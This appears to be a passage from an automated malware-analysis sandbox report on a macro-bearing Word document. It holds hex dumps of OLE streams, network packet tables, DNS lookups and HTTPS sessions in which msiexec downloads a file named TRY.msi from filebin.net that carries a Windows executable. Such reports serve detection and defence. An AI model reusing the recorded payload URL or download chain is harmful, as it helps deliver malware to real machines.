Data ASCII:	. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . u a \\ d . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * , \\ C . . . . r . m . .
Data Raw:	01 fd b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 75 61 5c 64 0b 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
File Type:	data
Stream Size:	4096
Entropy:	1.08065186697
Base64 Encoded:	False
Data ASCII:	. . . . - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j D . D . . . . . . . . . . . . . . . . . . . . . . . . . . . & v S h & v S h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	ec a5 c1 00 2d 00 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 02 08 00 00 0e 00 62 6a 62 6a 44 1c 44 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 26 76 53 68 26 76 53 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 09:18:54.811676979 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:54.811722994 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:54.811779022 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:54.816365957 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:54.816391945 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:54.923983097 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:54.924114943 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:54.933249950 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:54.933269024 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:54.933573008 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:55.139383078 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:55.278825998 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:55.322189093 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:55.339699984 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:55.339776993 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:55.339869022 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:55.354721069 CEST	49173	443	192.168.2.22	185.47.40.36
Apr 20, 2022 09:18:55.354753017 CEST	443	49173	185.47.40.36	192.168.2.22
Apr 20, 2022 09:18:55.506489992 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.506531000 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.506872892 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.507960081 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.507970095 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.731769085 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.731873989 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.740710974 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.740725040 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.741158962 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.756040096 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.798182964 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.807862997 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.853785038 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.853846073 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.853986979 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854008913 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.854023933 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.854063034 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.854067087 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854093075 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.854103088 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854110003 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.854116917 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854135990 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854147911 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854275942 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.854629040 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.899869919 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.899888992 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.899919987 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.899954081 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.899966002 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.899982929 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.900031090 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900063038 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900082111 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.900088072 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900104046 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.900257111 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900286913 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900321007 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.900327921 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.900341988 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.900382042 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946157932 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946217060 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946270943 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946284056 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946296930 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946331978 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946362972 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946388006 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946394920 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946407080 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946578979 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946609020 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946611881 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946624041 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946633101 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946655035 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946814060 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946845055 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946863890 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.946870089 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.946892977 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947037935 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947072029 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947097063 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947105885 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947125912 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947277069 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947308064 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947338104 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947361946 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947463989 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947468996 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947501898 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947534084 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947551966 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.947559118 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.947577953 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.950661898 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.951575994 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.993635893 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993679047 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993740082 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.993758917 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993771076 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.993829012 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993866920 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993887901 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.993899107 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.993911028 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.993933916 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994090080 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994134903 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994143009 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994178057 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994187117 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994198084 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994349003 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994393110 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994410038 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994422913 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994443893 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994580984 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994622946 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994656086 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994668961 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994678974 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994808912 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994851112 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.994865894 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.994909048 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995203018 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995213985 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995292902 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995372057 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995409012 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995440006 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995450020 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995461941 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995479107 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995512962 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995534897 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.995543957 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:55.995556116 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.999298096 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:55.999955893 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089478970 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089519978 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089587927 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089618921 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089667082 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089668036 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089689016 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089703083 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089705944 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089730978 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089756012 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089765072 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089828968 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089859009 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089890957 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089900017 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089910030 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089920998 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089951038 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.089983940 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.089996099 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090008974 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090012074 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090044975 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090090036 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090099096 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090110064 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090114117 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090143919 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090193033 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090204954 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090214014 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090219021 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090250015 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090276003 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090285063 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090298891 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090301037 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090333939 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090358019 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090368032 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090379000 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.090399027 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.090445042 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.097667933 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.107212067 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.107250929 CEST	443	49174	87.238.33.8	192.168.2.22
Apr 20, 2022 09:18:56.107265949 CEST	49174	443	192.168.2.22	87.238.33.8
Apr 20, 2022 09:18:56.107275963 CEST	443	49174	87.238.33.8	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2022 09:18:54.702529907 CEST	55868	53	192.168.2.22	8.8.8.8
Apr 20, 2022 09:18:54.721021891 CEST	53	55868	8.8.8.8	192.168.2.22
Apr 20, 2022 09:18:54.721606016 CEST	55868	53	192.168.2.22	8.8.8.8
Apr 20, 2022 09:18:54.742054939 CEST	53	55868	8.8.8.8	192.168.2.22
Apr 20, 2022 09:18:54.790144920 CEST	49688	53	192.168.2.22	8.8.8.8
Apr 20, 2022 09:18:54.810780048 CEST	53	49688	8.8.8.8	192.168.2.22
Apr 20, 2022 09:18:55.363713026 CEST	58836	53	192.168.2.22	8.8.8.8
Apr 20, 2022 09:18:55.417620897 CEST	53	58836	8.8.8.8	192.168.2.22
Apr 20, 2022 09:18:55.451881886 CEST	50134	53	192.168.2.22	8.8.8.8
Apr 20, 2022 09:18:55.504235029 CEST	53	50134	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 20, 2022 09:18:54.702529907 CEST	192.168.2.22	8.8.8.8	0xce22	Standard query (0)	filebin.net	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:54.721606016 CEST	192.168.2.22	8.8.8.8	0xce22	Standard query (0)	filebin.net	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:54.790144920 CEST	192.168.2.22	8.8.8.8	0x8e74	Standard query (0)	filebin.net	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.363713026 CEST	192.168.2.22	8.8.8.8	0x5d20	Standard query (0)	situla.bitbit.net	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.451881886 CEST	192.168.2.22	8.8.8.8	0x7ed	Standard query (0)	situla.bitbit.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Apr 20, 2022 09:18:54.721021891 CEST	8.8.8.8	192.168.2.22	0xce22	No error (0)	filebin.net	185.47.40.36	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:54.742054939 CEST	8.8.8.8	192.168.2.22	0xce22	No error (0)	filebin.net	185.47.40.36	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:54.810780048 CEST	8.8.8.8	192.168.2.22	0x8e74	No error (0)	filebin.net	185.47.40.36	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.417620897 CEST	8.8.8.8	192.168.2.22	0x5d20	No error (0)	situla.bitbit.net	87.238.33.8	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.417620897 CEST	8.8.8.8	192.168.2.22	0x5d20	No error (0)	situla.bitbit.net	87.238.33.7	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.504235029 CEST	8.8.8.8	192.168.2.22	0x7ed	No error (0)	situla.bitbit.net	87.238.33.7	A (IP address)	IN (0x0001)
Apr 20, 2022 09:18:55.504235029 CEST	8.8.8.8	192.168.2.22	0x7ed	No error (0)	situla.bitbit.net	87.238.33.8	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

filebin.net

situla.bitbit.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	185.47.40.36	443	C:\Windows\System32\msiexec.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 07:18:55 UTC	0	OUT	GET /rf43v6qzghbj7h7b/TRY.msi HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: filebin.net
2022-04-20 07:18:55 UTC	0	IN	HTTP/1.1 302 Found Cache-Control: max-age=0 Location: https://situla.bitbit.net/filebin/e76b11c6a8df860f25923a54491f9e4705e2029a6f63ff6145f41522a887dd56/e046def2a98a6096ca27aa2b595788057624cf23435c3db476f6bd4946742884?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=HZXB1J7T0UN34UN512IW%2F20220420%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220420T071855Z&X-Amz-Expires=30&X-Amz-SignedHeaders=host&response-cache-control=max-age%3D30&response-content-disposition=filename%3D%22TRY.msi%22&response-content-type=application%2Fmsword&X-Amz-Signature=88f98aff597656b73ffa540a69b51975c1f37753b3a866ffe3810b4a5c372fd1 X-Robots-Tag: noindex Date: Wed, 20 Apr 2022 07:18:55 GMT Content-Length: 0 X-Varnish: 196823 Age: 0 Via: 1.1 varnish (Varnish/6.0) Access-Control-Allow-Origin: * Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	87.238.33.8	443	C:\Windows\System32\msiexec.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 07:18:55 UTC	0	OUT	GET /filebin/e76b11c6a8df860f25923a54491f9e4705e2029a6f63ff6145f41522a887dd56/e046def2a98a6096ca27aa2b595788057624cf23435c3db476f6bd4946742884?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=HZXB1J7T0UN34UN512IW%2F20220420%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20220420T071855Z&X-Amz-Expires=30&X-Amz-SignedHeaders=host&response-cache-control=max-age%3D30&response-content-disposition=filename%3D%22TRY.msi%22&response-content-type=application%2Fmsword&X-Amz-Signature=88f98aff597656b73ffa540a69b51975c1f37753b3a866ffe3810b4a5c372fd1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: situla.bitbit.net
2022-04-20 07:18:55 UTC	1	IN	HTTP/1.1 200 OK Content-Length: 491520 Accept-Ranges: bytes Last-Modified: Wed, 20 Apr 2022 01:28:19 GMT ETag: "260bec1b34ce96e5ed6c42d51e7146fb" Cache-Control: max-age=30 Content-Disposition: filename="TRY.msi" x-amz-request-id: tx000000000000000eebd7e-00625fb3df-3b49846f-default Content-Type: application/msword Date: Wed, 20 Apr 2022 07:18:55 GMT Connection: close
2022-04-20 07:18:55 UTC	1	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 04 00 fe ff 0c 00 06 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 02 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >
2022-04-20 07:18:55 UTC	17	IN	Data Raw: fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 0c 02 00 00 0d 00 00 00 01 00 00 00 78 00 00 00 02 00 00 00 28 01 00 00 03 00 00 00 90 01 00 00 04 00 00 00 08 01 00 00 05 00 00 00 80 00 00 00 07 00 00 00 94 00 00 00 09 00 00 00 a8 00 00 00 0c 00 00 00 d8 00 00 00 0d 00 00 00 e4 00 00 00 0e 00 00 00 f0 00 00 00 0f 00 00 00 f8 00 00 00 12 00 00 00 ec 01 00 00 13 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 0a 00 00 00 49 6e 73 74 61 6c 6c 65 72 00 00 00 1e 00 00 00 0b 00 00 00 49 6e 74 65 6c 3b 31 30 33 33 00 00 1e 00 00 00 27 00 00 00 7b 34 39 38 32 41 36 31 43 2d 39 34 36 44 2d 34 31 36 38 2d 38 30 39 43 2d 31 33 46 46 39 39 Data Ascii: Oh+'0x(InstallerIntel;1033'{4982A61C-946D-4168-809C-13FF99
2022-04-20 07:18:55 UTC	33	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fe ae 1e ec ba cf 70 bf ba cf 70 bf ba cf 70 bf b3 b7 f4 bf fa cf 70 bf b3 b7 e5 bf af cf 70 bf b3 b7 f3 bf 2f cf 70 bf 9d 09 0b bf b5 cf 70 bf ba cf 71 bf 25 cf 70 bf b3 b7 fa bf b7 cf 70 bf b3 b7 e2 bf bb cf 70 bf b3 b7 e1 bf bb cf 70 bf 52 69 63 68 ba cf 70 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ee dc 2e 60 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ppppp/ppq%ppppRichpPEL.`
